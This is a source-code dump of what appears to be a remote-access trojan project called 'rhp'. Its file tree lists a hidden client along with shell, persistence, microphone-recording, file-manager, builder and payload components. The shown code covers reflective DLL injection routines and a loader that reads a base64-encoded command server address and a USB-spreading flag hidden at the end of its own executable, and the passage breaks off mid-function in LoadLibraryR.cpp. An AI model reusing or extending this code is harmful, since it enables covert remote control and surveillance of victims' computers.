├── .classpath ├── .gitignore ├── .project ├── LICENSE ├── ProbeCpp ├── GetProcAddressR.cpp ├── GetProcAddressR.h ├── LoadInfo.cpp ├── LoadLibraryR.cpp ├── LoadLibraryR.h ├── Main.cpp ├── Network.cpp ├── Other.cpp ├── Probe.h ├── ProbeCpp.cpp ├── ProbeCpp.sln ├── ProbeCpp.vcxproj ├── ProbeCpp.vcxproj.filters ├── ReflectiveDLLInjection.h └── base64.h ├── README.md ├── gui ├── .classpath ├── .project ├── GeoLite2-City.mmdb ├── common_ports.rhp ├── icons │ ├── 006-coding.png │ ├── 010-download.png │ ├── 012-favorite.png │ ├── 013-data storage.png │ ├── 014-internet.png │ ├── 019-security pin.png │ ├── 020-lock.png │ ├── 026-network.png │ ├── 027-note.png │ ├── 029-notification.png │ ├── 030-pop up.png │ ├── 031-power.png │ ├── 032-profile.png │ ├── 033-rating.png │ ├── 038-gear.png │ ├── 041-statistics.png │ ├── 045-trash.png │ ├── 047-upload.png │ ├── 050-vision.png │ ├── 11.png │ ├── 14.png │ ├── 16.png │ ├── 18.png │ ├── 20.png │ ├── 21.png │ ├── 22.png │ ├── 23.png │ ├── 26.png │ ├── 30.png │ ├── 31.png │ ├── 32.png │ ├── 34.png │ ├── 35.png │ ├── 36.png │ ├── 37.png │ ├── 38.png │ ├── 39.png │ ├── 40.png │ ├── 41.png │ ├── 42.png │ ├── 43.png │ ├── 44.png │ ├── 45.png │ ├── 46.png │ ├── 47.png │ ├── 49.png │ ├── 50.png │ ├── 51.png │ ├── 52.png │ ├── 53.png │ ├── 54.png │ ├── 55.png │ ├── 56.png │ ├── 57.png │ ├── 58.png │ ├── 59.png │ ├── 60.png │ ├── 61.png │ ├── 7.png │ ├── 9.png │ ├── arrows.png │ ├── files │ │ ├── 001-file.png │ │ ├── 003-file.png │ │ ├── 008-file.png │ │ ├── 020-cancel.png │ │ ├── 021-audio.png │ │ ├── 023-video.png │ │ ├── 024-code.png │ │ ├── 025-image.png │ │ ├── 027-network.png │ │ ├── 028-file.png │ │ ├── 030-CV.png │ │ ├── 034-shield.png │ │ ├── 039-archive.png │ │ ├── 040-user.png │ │ ├── 041-corrupt.png │ │ └── 043-setting.png │ ├── folder.png │ ├── mic.png │ ├── micred.png │ └── readme.txt ├── img │ ├── hacker-cat.gif │ └── hamster.gif ├── os_ports.rhp ├── pom.xml ├── rhp.ini ├── screenshots │ └── README.md ├── src │ └── main │ │ └── java │ │ └── rhp │ │ ├── Builder.java │ │ ├── FancyWaypointRenderer.java │ │ ├── FileManager.java │ │ ├── ImageViewer.java │ │ ├── MainWindow.java │ │ ├── Map.java │ │ ├── MicRecorder.java │ │ ├── MsgBox.java │ │ ├── MultiplyComposite.java │ │ ├── MyWaypoint.java │ │ ├── NetworkScanner.java │ │ ├── Persist.java │ │ ├── Register.java │ │ ├── Server.java │ │ ├── Settings.java │ │ ├── Shell.java │ │ ├── StartupWindow.java │ │ ├── StretchIcon.java │ │ └── thread.java ├── user.ini └── waypoint_white.png ├── img ├── dark.PNG ├── light.PNG ├── rhp.png ├── rhpbig.png ├── rshell.PNG ├── solarizeddark.PNG └── solarizedlight.PNG ├── payloads └── README.md └── tests ├── settings.java └── test.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | *.txt 4 | 5 | # Object files 6 | *.o 7 | *.ko 8 | *.obj 9 | *.elf 10 | 11 | # Linker output 12 | *.ilk 13 | *.map 14 | *.exp 15 | 16 | # Precompiled Headers 17 | *.gch 18 | *.pch 19 | 20 | # Libraries 21 | *.lib 22 | *.a 23 | *.la 24 | *.lo 25 | 26 | # Shared objects (inc. Windows DLLs) 27 | *.dll 28 | *.so 29 | *.so.* 30 | *.dylib 31 | 32 | # Executables 33 | *.exe 34 | *.out 35 | *.app 36 | *.i*86 37 | *.x86_64 38 | *.hex 39 | 40 | # Debug files 41 | *.dSYM/ 42 | *.su 43 | *.idb 44 | *.pdb 45 | 46 | # Kernel Module Compile Results 47 | *.mod* 48 | *.cmd 49 | .tmp_versions/ 50 | modules.order 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | 55 | # JAVA 56 | # Compiled class file 57 | *.class 58 | 59 | # Log file 60 | *.log 61 | 62 | # BlueJ files 63 | *.ctxt 64 | 65 | # Mobile Tools for Java (J2ME) 66 | .mtj.tmp/ 67 | 68 | # Package Files # 69 | *.jar 70 | *.war 71 | *.nar 72 | *.ear 73 | *.zip 74 | *.tar.gz 75 | *.rar 76 | 77 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 78 | hs_err_pid* 79 | 80 | .vscode/* 81 | .vs/* 82 | *.exe 83 | *.pyc 84 | *.d 85 | *.o 86 | *.dll 87 | output.png 88 | passwords.txt 89 | downloads/* 90 | *.bmp 91 | *.jpg 92 | *.jpeg 93 | *.wav 94 | test.c 95 | test.cpp 96 | ## Ignore Visual Studio temporary files, build results, and 97 | ## files generated by popular Visual Studio add-ons. 98 | ## 99 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 100 | 101 | # User-specific files 102 | *.rsuser 103 | *.suo 104 | *.user 105 | *.userosscache 106 | *.sln.docstates 107 | 108 | # User-specific files (MonoDevelop/Xamarin Studio) 109 | *.userprefs 110 | 111 | # Mono auto generated files 112 | mono_crash.* 113 | 114 | # Build results 115 | [Dd]ebug/ 116 | [Dd]ebugPublic/ 117 | [Rr]elease/ 118 | [Rr]eleases/ 119 | x64/ 120 | x86/ 121 | [Ww][Ii][Nn]32/ 122 | [Aa][Rr][Mm]/ 123 | [Aa][Rr][Mm]64/ 124 | bld/ 125 | [Bb]in/ 126 | [Oo]bj/ 127 | [Ll]og/ 128 | [Ll]ogs/ 129 | 130 | # Visual Studio 2015/2017 cache/options directory 131 | .vs/ 132 | # Uncomment if you have tasks that create the project's static files in wwwroot 133 | #wwwroot/ 134 | 135 | # Visual Studio 2017 auto generated files 136 | Generated\ Files/ 137 | 138 | # MSTest test Results 139 | [Tt]est[Rr]esult*/ 140 | [Bb]uild[Ll]og.* 141 | 142 | # NUnit 143 | *.VisualState.xml 144 | TestResult.xml 145 | nunit-*.xml 146 | 147 | # Build Results of an ATL Project 148 | [Dd]ebugPS/ 149 | [Rr]eleasePS/ 150 | dlldata.c 151 | 152 | # Benchmark Results 153 | BenchmarkDotNet.Artifacts/ 154 | 155 | # .NET Core 156 | project.lock.json 157 | project.fragment.lock.json 158 | artifacts/ 159 | 160 | # ASP.NET Scaffolding 161 | ScaffoldingReadMe.txt 162 | 163 | # StyleCop 164 | StyleCopReport.xml 165 | 166 | # Files built by Visual Studio 167 | *_i.c 168 | *_p.c 169 | *_h.h 170 | *.ilk 171 | *.meta 172 | *.obj 173 | *.iobj 174 | *.pch 175 | *.pdb 176 | *.ipdb 177 | *.pgc 178 | *.pgd 179 | *.rsp 180 | *.sbr 181 | *.tlb 182 | *.tli 183 | *.tlh 184 | *.tmp 185 | *.tmp_proj 186 | *_wpftmp.csproj 187 | *.log 188 | *.vspscc 189 | *.vssscc 190 | .builds 191 | *.pidb 192 | *.svclog 193 | *.scc 194 | 195 | # Chutzpah Test files 196 | _Chutzpah* 197 | 198 | # Visual C++ cache files 199 | ipch/ 200 | *.aps 201 | *.ncb 202 | *.opendb 203 | *.opensdf 204 | *.sdf 205 | *.cachefile 206 | *.VC.db 207 | *.VC.VC.opendb 208 | 209 | # Visual Studio profiler 210 | *.psess 211 | *.vsp 212 | *.vspx 213 | *.sap 214 | 215 | # Visual Studio Trace Files 216 | *.e2e 217 | 218 | # TFS 2012 Local Workspace 219 | $tf/ 220 | 221 | # Guidance Automation Toolkit 222 | *.gpState 223 | 224 | # ReSharper is a .NET coding add-in 225 | _ReSharper*/ 226 | *.[Rr]e[Ss]harper 227 | *.DotSettings.user 228 | 229 | # TeamCity is a build add-in 230 | _TeamCity* 231 | 232 | # DotCover is a Code Coverage Tool 233 | *.dotCover 234 | 235 | # AxoCover is a Code Coverage Tool 236 | .axoCover/* 237 | !.axoCover/settings.json 238 | 239 | # Coverlet is a free, cross platform Code Coverage Tool 240 | coverage*.json 241 | coverage*.xml 242 | coverage*.info 243 | 244 | # Visual Studio code coverage results 245 | *.coverage 246 | *.coveragexml 247 | 248 | # NCrunch 249 | _NCrunch_* 250 | .*crunch*.local.xml 251 | nCrunchTemp_* 252 | 253 | # MightyMoose 254 | *.mm.* 255 | AutoTest.Net/ 256 | 257 | # Web workbench (sass) 258 | .sass-cache/ 259 | 260 | # Installshield output folder 261 | [Ee]xpress/ 262 | 263 | # DocProject is a documentation generator add-in 264 | DocProject/buildhelp/ 265 | DocProject/Help/*.HxT 266 | DocProject/Help/*.HxC 267 | DocProject/Help/*.hhc 268 | DocProject/Help/*.hhk 269 | DocProject/Help/*.hhp 270 | DocProject/Help/Html2 271 | DocProject/Help/html 272 | 273 | # Click-Once directory 274 | publish/ 275 | 276 | # Publish Web Output 277 | *.[Pp]ublish.xml 278 | *.azurePubxml 279 | # Note: Comment the next line if you want to checkin your web deploy settings, 280 | # but database connection strings (with potential passwords) will be unencrypted 281 | *.pubxml 282 | *.publishproj 283 | 284 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 285 | # checkin your Azure Web App publish settings, but sensitive information contained 286 | # in these scripts will be unencrypted 287 | PublishScripts/ 288 | 289 | # NuGet Packages 290 | *.nupkg 291 | # NuGet Symbol Packages 292 | *.snupkg 293 | # The packages folder can be ignored because of Package Restore 294 | **/[Pp]ackages/* 295 | # except build/, which is used as an MSBuild target. 296 | !**/[Pp]ackages/build/ 297 | # Uncomment if necessary however generally it will be regenerated when needed 298 | #!**/[Pp]ackages/repositories.config 299 | # NuGet v3's project.json files produces more ignorable files 300 | *.nuget.props 301 | *.nuget.targets 302 | 303 | # Microsoft Azure Build Output 304 | csx/ 305 | *.build.csdef 306 | 307 | # Microsoft Azure Emulator 308 | ecf/ 309 | rcf/ 310 | 311 | # Windows Store app package directories and files 312 | AppPackages/ 313 | BundleArtifacts/ 314 | Package.StoreAssociation.xml 315 | _pkginfo.txt 316 | *.appx 317 | *.appxbundle 318 | *.appxupload 319 | 320 | # Visual Studio cache files 321 | # files ending in .cache can be ignored 322 | *.[Cc]ache 323 | # but keep track of directories ending in .cache 324 | !?*.[Cc]ache/ 325 | 326 | # Others 327 | ClientBin/ 328 | ~$* 329 | *~ 330 | *.dbmdl 331 | *.dbproj.schemaview 332 | *.jfm 333 | *.pfx 334 | *.publishsettings 335 | orleans.codegen.cs 336 | 337 | # Including strong name files can present a security risk 338 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 339 | #*.snk 340 | 341 | # Since there are multiple workflows, uncomment next line to ignore bower_components 342 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 343 | #bower_components/ 344 | 345 | # RIA/Silverlight projects 346 | Generated_Code/ 347 | 348 | # Backup & report files from converting an old project file 349 | # to a newer Visual Studio version. Backup files are not needed, 350 | # because we have git ;-) 351 | _UpgradeReport_Files/ 352 | Backup*/ 353 | UpgradeLog*.XML 354 | UpgradeLog*.htm 355 | ServiceFabricBackup/ 356 | *.rptproj.bak 357 | 358 | # SQL Server files 359 | *.mdf 360 | *.ldf 361 | *.ndf 362 | 363 | # Business Intelligence projects 364 | *.rdl.data 365 | *.bim.layout 366 | *.bim_*.settings 367 | *.rptproj.rsuser 368 | *- [Bb]ackup.rdl 369 | *- [Bb]ackup ([0-9]).rdl 370 | *- [Bb]ackup ([0-9][0-9]).rdl 371 | 372 | # Microsoft Fakes 373 | FakesAssemblies/ 374 | 375 | # GhostDoc plugin setting file 376 | *.GhostDoc.xml 377 | 378 | # Node.js Tools for Visual Studio 379 | .ntvs_analysis.dat 380 | node_modules/ 381 | 382 | # Visual Studio 6 build log 383 | *.plg 384 | 385 | # Visual Studio 6 workspace options file 386 | *.opt 387 | 388 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 389 | *.vbw 390 | 391 | # Visual Studio LightSwitch build output 392 | **/*.HTMLClient/GeneratedArtifacts 393 | **/*.DesktopClient/GeneratedArtifacts 394 | **/*.DesktopClient/ModelManifest.xml 395 | **/*.Server/GeneratedArtifacts 396 | **/*.Server/ModelManifest.xml 397 | _Pvt_Extensions 398 | 399 | # Paket dependency manager 400 | .paket/paket.exe 401 | paket-files/ 402 | 403 | # FAKE - F# Make 404 | .fake/ 405 | 406 | # CodeRush personal settings 407 | .cr/personal 408 | 409 | # Python Tools for Visual Studio (PTVS) 410 | __pycache__/ 411 | *.pyc 412 | 413 | # Cake - Uncomment if you are using it 414 | # tools/** 415 | # !tools/packages.config 416 | 417 | # Tabs Studio 418 | *.tss 419 | 420 | # Telerik's JustMock configuration file 421 | *.jmconfig 422 | 423 | # BizTalk build output 424 | *.btp.cs 425 | *.btm.cs 426 | *.odx.cs 427 | *.xsd.cs 428 | 429 | # OpenCover UI analysis results 430 | OpenCover/ 431 | 432 | # Azure Stream Analytics local run output 433 | ASALocalRun/ 434 | 435 | # MSBuild Binary and Structured Log 436 | *.binlog 437 | 438 | # NVidia Nsight GPU debugger configuration file 439 | *.nvuser 440 | 441 | # MFractors (Xamarin productivity tool) working folder 442 | .mfractor/ 443 | 444 | # Local History for Visual Studio 445 | .localhistory/ 446 | 447 | # BeatPulse healthcheck temp database 448 | healthchecksdb 449 | 450 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 451 | MigrationBackup/ 452 | 453 | # Ionide (cross platform F# VS Code tools) working folder 454 | .ionide/ 455 | 456 | # Fody - auto-generated XML schema 457 | FodyWeavers.xsd -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | rhp 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 QuantumCored 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ProbeCpp/GetProcAddressR.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | //===============================================================================================// 30 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which 31 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 33 | { 34 | UINT_PTR uiLibraryAddress = 0; 35 | FARPROC fpResult = NULL; 36 | 37 | if( hModule == NULL ) 38 | return NULL; 39 | 40 | // a module handle is really its base address 41 | uiLibraryAddress = (UINT_PTR)hModule; 42 | 43 | __try 44 | { 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameArray = 0; 47 | UINT_PTR uiNameOrdinals = 0; 48 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 51 | 52 | // get the VA of the modules NT Header 53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 54 | 55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 56 | 57 | // get the VA of the export directory 58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 59 | 60 | // get the VA for the array of addresses 61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 62 | 63 | // get the VA for the array of name pointers 64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 65 | 66 | // get the VA for the array of name ordinals 67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 68 | 69 | // test if we are importing by name or by ordinal... 70 | if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) 71 | { 72 | // import by ordinal... 73 | 74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 76 | 77 | // resolve the address for this imported function 78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 79 | } 80 | else 81 | { 82 | // import by name... 83 | DWORD dwCounter = pExportDirectory->NumberOfNames; 84 | while( dwCounter-- ) 85 | { 86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 87 | 88 | // test if we have a match... 89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 90 | { 91 | // use the functions name ordinal as an index into the array of name pointers 92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 93 | 94 | // calculate the virtual address for the function 95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 96 | 97 | // finish... 98 | break; 99 | } 100 | 101 | // get the next exported function name 102 | uiNameArray += sizeof(DWORD); 103 | 104 | // get the next exported function name ordinal 105 | uiNameOrdinals += sizeof(WORD); 106 | } 107 | } 108 | } 109 | __except( EXCEPTION_EXECUTE_HANDLER ) 110 | { 111 | fpResult = NULL; 112 | } 113 | 114 | return fpResult; 115 | } 116 | //===============================================================================================// -------------------------------------------------------------------------------- /ProbeCpp/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | #ifdef __MINGW32__ 33 | #define __try 34 | #define __except(x) if(0) 35 | #endif 36 | 37 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 38 | //===============================================================================================// 39 | #endif 40 | //===============================================================================================// -------------------------------------------------------------------------------- /ProbeCpp/LoadInfo.cpp: -------------------------------------------------------------------------------- 1 | #include "Probe.h" 2 | #include "base64.h" 3 | 4 | std::string MyLocation() 5 | { 6 | TCHAR DIR[MAX_PATH]; 7 | std::string filelocation; 8 | std::ostringstream err; 9 | int fpath = GetModuleFileName(NULL, DIR, MAX_PATH); 10 | if (fpath == 0) 11 | { 12 | err.str(""); err.clear(); 13 | err << "Failed to get : " << GetLastError(); 14 | filelocation = err.str(); 15 | } 16 | else { 17 | filelocation = DIR; 18 | } 19 | 20 | return filelocation; 21 | } 22 | 23 | std::istream& ignoreline(std::ifstream& in, std::ifstream::pos_type& pos) 24 | { 25 | pos = in.tellg(); 26 | return in.ignore(std::numeric_limits::max(), '\n'); 27 | } 28 | 29 | std::string getLastLine(std::ifstream& in) 30 | { 31 | std::ifstream::pos_type pos = in.tellg(); 32 | 33 | std::ifstream::pos_type lastPos; 34 | while (in >> std::ws && ignoreline(in, lastPos)) 35 | pos = lastPos; 36 | 37 | in.clear(); 38 | in.seekg(pos); 39 | 40 | std::string line; 41 | std::getline(in, line); 42 | return line; 43 | } 44 | 45 | std::string GetServerInfo() 46 | { 47 | char* values[5]; 48 | std::ifstream ME(MyLocation().c_str(), std::ios::binary); 49 | if (ME.is_open()) { 50 | std::string hp = getLastLine(ME); // Get Last line from itself 51 | memset(values, '\0', 5); 52 | split((char*)hp.c_str(), values, ":"); // Split the last line with [] delimeter 53 | 54 | std::string SERVER = base64_decode(std::string(values[0])); // values 0 contains Server 55 | std::string PORT = base64_decode(std::string(values[1])); // values 1 contains Port 56 | 57 | return SERVER + ":" + PORT; 58 | } 59 | } 60 | 61 | BOOL GetUSBThreadStatus() 62 | { 63 | char* values[5]; 64 | std::ifstream ME(MyLocation().c_str(), std::ios::binary); 65 | if (ME.is_open()) { 66 | std::string hp = getLastLine(ME); // Get Last line from itself 67 | memset(values, '\0', 5); 68 | split((char*)hp.c_str(), values, ":"); // Split the last line with : delimeter 69 | 70 | /* 71 | * values[0] contains the Server Host 72 | * values[1] contains the Server Port 73 | * values[2] contains USB THREAD Status which should be either '1' or '0'. 74 | */ 75 | 76 | if (strcmp(values[2], "1") == 0) { 77 | return TRUE; 78 | } 79 | else { 80 | return FALSE; 81 | } 82 | } 83 | } -------------------------------------------------------------------------------- /ProbeCpp/LoadLibraryR.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include 30 | //===============================================================================================// 31 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 32 | { 33 | WORD wIndex = 0; 34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 35 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 36 | 37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 38 | 39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 40 | 41 | if( dwRva < pSectionHeader[0].PointerToRawData ) 42 | return dwRva; 43 | 44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 45 | { 46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 48 | } 49 | 50 | return 0; 51 | } 52 | //===============================================================================================// 53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 54 | { 55 | UINT_PTR uiBaseAddress = 0; 56 | UINT_PTR uiExportDir = 0; 57 | UINT_PTR uiNameArray = 0; 58 | UINT_PTR uiAddressArray = 0; 59 | UINT_PTR uiNameOrdinals = 0; 60 | DWORD dwCounter = 0; 61 | #ifdef WIN_X64 62 | DWORD dwCompiledArch = 2; 63 | #else 64 | // This will catch Win32 and WinRT. 65 | DWORD dwCompiledArch = 1; 66 | #endif 67 | 68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 69 | 70 | // get the File Offset of the modules NT Header 71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 72 | 73 | // currenlty we can only process a PE file which is the same type as the one this fuction has 74 | // been compiled as, due to various offset in the PE structures being defined at compile time. 75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 76 | { 77 | if( dwCompiledArch != 1 ) 78 | return 0; 79 | } 80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 81 | { 82 | if( dwCompiledArch != 2 ) 83 | return 0; 84 | } 85 | else 86 | { 87 | return 0; 88 | } 89 | 90 | // uiNameArray = the address of the modules export directory entry 91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 92 | 93 | // get the File Offset of the export directory 94 | uiExportDir = uiBaseAddress + Rva2Offset( 